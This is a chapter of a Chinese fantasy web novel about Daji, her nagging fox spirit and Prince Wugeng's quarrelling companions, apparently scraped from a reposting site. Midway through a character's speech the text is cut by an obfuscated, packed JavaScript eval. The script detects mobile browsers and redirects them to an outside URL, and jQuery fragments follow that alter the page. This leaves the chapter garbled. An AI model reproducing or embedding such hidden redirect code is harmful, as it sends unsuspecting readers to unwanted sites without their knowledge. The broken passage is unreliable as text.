5. 乱心房兄弟竟阋墙

作品:《妲己今天亡国了吗?

    识海之中,妲己已被迫清醒。


    这只剩一条秃尾巴的狐狸擅长传销,逼逼赖赖,画饼上瘾,破嘴还爱耍贱。


    她不耐捏住狐狸狗嘴,妩媚眼眸上挑出十足厌倦。


    是啊,我不过被砍头八次*1,可狐狐你却失去了八条尾啊!


    两相比较,显然是可怜煞了你!


    一时她冷冷开口:“哦?你如此确定?区区五根就已足够?”


    “???”狐狸一本正经地警告,“呐,你最好是在说人嗷!”


    “五人又有什么稀罕?”妲己嗤笑,“你也是年老昏聩,记性不好。你难道忘记?我曾有一世是女王,在朝堂一呼百应,在战场也揍得西岐军如丧家之犬。莫说五人,便是千军万马,我也调停得当。”2*


    狐狸盘着爪爪,没吭气。


    是啊,祖宗,你又岂止揍得西岐军如丧家之犬?


    你还禁室培育了金吒木吒,顺带意淫了玉面杨戬。


    要不说你色胆吞天,审美不俗。连狐狸我也自叹弗如。


    然,换个角度一想,这位优秀员工不光貌美无俦,妖娆婀娜,还敢想敢为,颇有心机,要么它怎么死心塌地,于万千人海中选(赖)中(上)她?


    妲己又问:“你又怎知晓是这五人?”


    狐狸答:“是此处世界告知于我。”


    见她沉思,狐狸趁机循循诱导:


    “世界既如此铆定,这五人便大约也和亡商之事息息相关。但,莫说你的亲亲狐宝未将你提点,你我性命危在旦夕,续命迫在眉睫,从帝辛下手最是容易。毕竟你二人纠缠百世,你往那一戳,他就死心塌地爱你。”


    “然后?砍头?挨喷?看着你美美隐身?”


    “……”狐狸语塞。


    妲己重闭双眼,生来便微哑魅惑的语调中透着疲倦:


    “九尾,你姑且听我劝一句。


    既然你我本就命不久矣,叛逃又叠重罪,亡商也未必能免一死。


    轮回中记忆丢失大多,细节我也记不太起。


    如此不下不上、不坏不好、不死不活,不如索性叫武庚砍头,尽早投胎,一了百了。”


    说及此处,她自己已笑,“是啊,如此省事,我怎今日才想到。”


    “啊?不可!绝不可!”狐狸弹起惊叫,又飞快顿悟,“难道你说是要脱衣清醒,实则故意把自己冻死?”


    妲己不语。


    狐狸慌着拜她,求道:“祖奶,我唤你祖奶。我不逼迫你。我知你好俊美青年,我知你喜新鲜r体。我保证,那五人皆容貌出众,神仙不及,绝对叫你心喜。我为你找人,帮你周旋,保你封神顺利!”


    妲己懒怠:“不必,多谢,我无甚兴趣。”


    “诶~言之过早。兴趣需要培养,兴趣需要美男。今日那蒙面质子,你不就兴趣满满?”


    妲己这才记起一点昏迷前情:


    “他是五人之一?他已贡献寿命?”


    狐狸羞涩:“我当时用尽妖力,来不及分清。但若再我凑近闻过,就一定知晓。”


    “他容貌俊俏?他性情温和?”


    “额……虽未看到全貌,也不知性情,但他睫如鸦翅,眉眼极嫽,全脸也绝不会丑糟。”


    妲己嗤笑。


    但未再讥讽,是个良好信号。


    狐狸看出她色心已动,再接再厉:“这次我有预感,成功在此一遭。”


    良久,妲己终于无奈叹气:“也罢,随你,反正也只余一次。”


    死八次也好,九次也罢,无非是叫磨叽狐狸彻底放下。


    往好里想,兴许质子团只想要妦,会放走她。


    慵懒伸展,玉臂支起,妲己于现实中醒来,迷茫环顾周遭。


    她正卧在一偌大帐篷里,身上盖着丰盈兽皮。


    帐篷顶上亦披着兽皮保温,中央还有两个火盆。


    火光融融,烤得人汗意微微。


    木香淡淡,融合兽皮骚味儿、雄性衣鞋上的臭味儿、地毯潮味儿,各种味道互相混杂,比狐狸五世同堂的拥仄老巢还难闻……


    卧榻之旁,肮脏铠甲堆叠,其间一手绳惹眼。


    肮脏彩线绑着一只长尾玉鸟,鸟腹清晰雕刻着「上敬武庚禄父王子圣」字样。*3


    玄鸟玉器何等珍贵,帝辛又只有禄子一个儿子——


    这竟是她好大儿的帐篷?!


    妲己眉心微皱,沉吟思忖。


    武庚其人,妲己印象淡薄,因为此前多番轮回中遇见,他总是跪地在她面前,将后脑勺供她观摩。


    偶尔,好好一个大儿还会分裂成两小儿:唤为殷郊与殷洪。


    狐狸立刻引诱:“武庚乃王室血脉,正是五人之一。”


    她将玉鸟随意丢下,冷冷说道:“若果真俊美,引来也无妨,但若丑怪,莫怪我继续挺尸。”


    狐狸闻言,一时记不得武庚长相细节,不免焦虑。


    ——好大儿,你的小妈续命迫在眉睫,你可务必要长得争气些!


    忽地,外面喧闹起来,且闹声愈大,只听一人声如雷动在吼:


    “王子为何不罚此女俘?!”


    只一句,妲己便听出,声音的主人是商末知名刺头——崇应彪。


    这货人如其名,颇为彪悍,从来看她不惯。


    说来也怪,他明明也知美丑,见了自己,从来都眼神闪烁、脸上发红。可他脸越红,反而愈气如牛蛙,常叫妲己误会自己与他有血海深仇。


    又有一醇厚声音,低沉威严,不徐不疾回他:“妲己乃贡女。虽叛逃,却当带回,请王父定夺。”


    ——哦?妲己竖起耳朵:


    她那便宜儿子竟一直在帐外。


    步履纷杂间,周伯邑等人追了来:“彪,如何处置,王子已有安排!你这是做何?”


    崇应彪不屑地嗤笑:“安排?忒!我看他分明已被迷惑!若天子知晓……”


    周伯邑厉声打断:“天子如何行事,无需你多舌!”


    崇应彪面容一寒,扑上前就要揍他!


    此时恶来也冲上来,死死将其制住,又无奈,“彪,你又犯大浑!”


    另一边鄂顺挡住住周伯邑,出于私心,也扭头劝彪:“王子所言,究竟有何不妥?值得你如此乱来。”


    武庚蹙眉,眼看四人拉扯,实在不成样子,鼻息一叹,亦不耐烦。


    崇应彪越发大怒!


    可他不光不敢对抗恶来,也不敢骂鄂顺。


    诚然,鄂顺面容并不凶恶,反而极昳丽清俊,常被人戏称为大邑商之花。*4


    更不用说他一双狐眼细细,盼顾生柔,外表看来最易招惹。


    但谁叫鄂顺之父鄂侯,是三公之首?


    谁叫鄂侯握着蓝绿松石运输的命脉,财力雄厚?


    鄂侯还深得帝辛信任,令彪彪颇受掣肘……


    崇应彪不想惹麻烦,遂向死里捏周伯邑这个软桃:


    “邑,你个臭御子*5,就算乃父昌,也不敢同我这般嚣张!你再装狼扮狗,小心我崇国荡平你的巢窠!”


    “……”周伯邑目眦欲裂,青筋蹦跳。


    周原在西北,为商进贡粮食与羌人。而崇国恰在商、周之间,正方便辖制、监视周原。*6


    那崇侯骁勇却阴险,总派出暗史,暗搓搓观察父亲的一言一行。


    崇侯是天子的耳目,挑拨是非,不折不扣的小人一个!


    “够了!”武庚耐心耗尽,抬眼冷斥:“彪,休再放肆。”


    彪黑黝黝的眼珠一转、头一歪,忽地冷笑,怪腔怪调道:“哦~~~王子,我知你心意,我也知了你们心意!你们见那妲己容貌甚嫽,心中不舍!你们个个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418653|168924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    春心荡漾、小头作主大头,倒把我当个憨鹧!”


    此言实在粗俗,莫说恶来顿怒、只想将他一把捏死,连武庚波澜不惊的面上也被激起一阵恼怒薄红,当下蹙眉怒斥:“彪!你果真是个憨鹧!”


    崇应彪大叫,“昏时*7已到,憨鹧要用妲己告庙、祭祀祖先!”


    说着,他竟趁恶来不防,挣开便要冲进帐里!


    电光火石,龙鸣高扬!


    ——武庚的帝江重剑已出鞘,寒光湛水,分毫不让。


    他双眸隐火,唇抿盛怒,大约彪再敢上前一步,便要毫不留情割其狗头。


    崇应彪见王子拔剑,后退两步,先是震惊,随后竟十分受伤:


    “禄,你、你竟拿剑对我?!我们的剑从来只对仇敌,不对亲人,你竟对我?好,好,我们生死相扶,如亲手足,你如今为那女俘,竟对我拔刀相向……”


    武庚心有不忍,又实在烦他,“是你乱来,休要胡缠!”


    鄂顺与恶来一同拉住这暴躁的野虎,向远处扯:


    “天子自会处置她!”


    “彪,莫再惹王子生气。”


    “妲己!”崇应彪红了眼眶,仰天嚎叫,“你敢出逃!你敢叛天子!你有本事贴紧了禄,否则落在我手里,决不将你轻饶!”又嚎,“禄,你为了一个俘,对兄弟拔剑,你叫我心都裂开!”


    “诶,走了!”鄂顺和恶来合力,拖死拽活将他拉走。


    武庚也收剑入鞘,面上阴鸷却犹在。


    “莫气。”周伯邑无奈安慰他,“彪素来如此。”


    “他年纪小,我怎会与他计较……”他拍拍邑的肩头,僵硬语气缓和些许,“我们打了胜仗,带回贡品,王父一定大喜。”


    提及帝辛,周伯邑也两眼发光,“当然。天子从来以你为荣!”


    武庚这才有了些许笑意。


    眼见王子消气,周伯邑却忽地想到今日洞中情形,再想到方才鄂顺言语举动,似乎颇维护妲己,不由又有些忧虑。


    武庚正欲与他一同回帐,不免侧目:“为何忧色?”


    周伯邑低声道:“唉……彪固然浮躁冲动,但那妲己,也确有蛊惑人心之貌不假。她今日初来,便惹得你与彪起了干戈,若她心术不正,再有心挑拨,只怕一路归去,还要生事。”


    武庚眼帘垂下,蹙眉凝重,“既如此,我去告诫她一番。若她敢多事,我绝不姑息!”


    帐内,妲己确实正唯恐天下不乱,很盼他们就此打起来。但听得争执似乎已熄,不免失望。


    在后人看来,彪敢同王子叫板,实在「别具一格」,但她转生一年有余,已接受了这种行为。


    如九尾所言,这里原始,人也简单,彪子更是简单中的翘楚、大肠里的直肠。


    更何况,他与王子禄自小一起长大,是亲人、战友、朋友……从前便没少对禄大呼小叫。


    正惋惜看不到兄弟相斗的有趣戏码,冷不防厚重的帐帘被掀开,一股寒气涌入


    ——黑暗夜幕中,武庚高大的身影走进明亮中来。


    英武俊朗的大邑太子,摘去饕餮胄,果然是一张全新面容:


    高而矫健,肖似其父;浓眉高鼻,又似其母。


    明亮眼眸,眸色深邃,喜时而隐怒;


    饱满红唇,唇线冷勾,笑时若无情。


    他虽仍是青年,举止间却已见得天子之威,喜怒更早已被隐去深处。


    其身长九尺,壮若山峦,起伏肌肉间,蓬勃雄性气息散出。*8


    诗曰:


    昆仑藏玉培其志,千古帝魂聚其身。


    妲己怔愣片刻,舔了舔嘴唇,似饿狐开宴。


    狐狸见她喜欢,这才大松了口气,嘿嘿怪笑打趣:


    “唤一声小妈切莫恼我,只怪叫人心热如火!不由人心热如火!”*9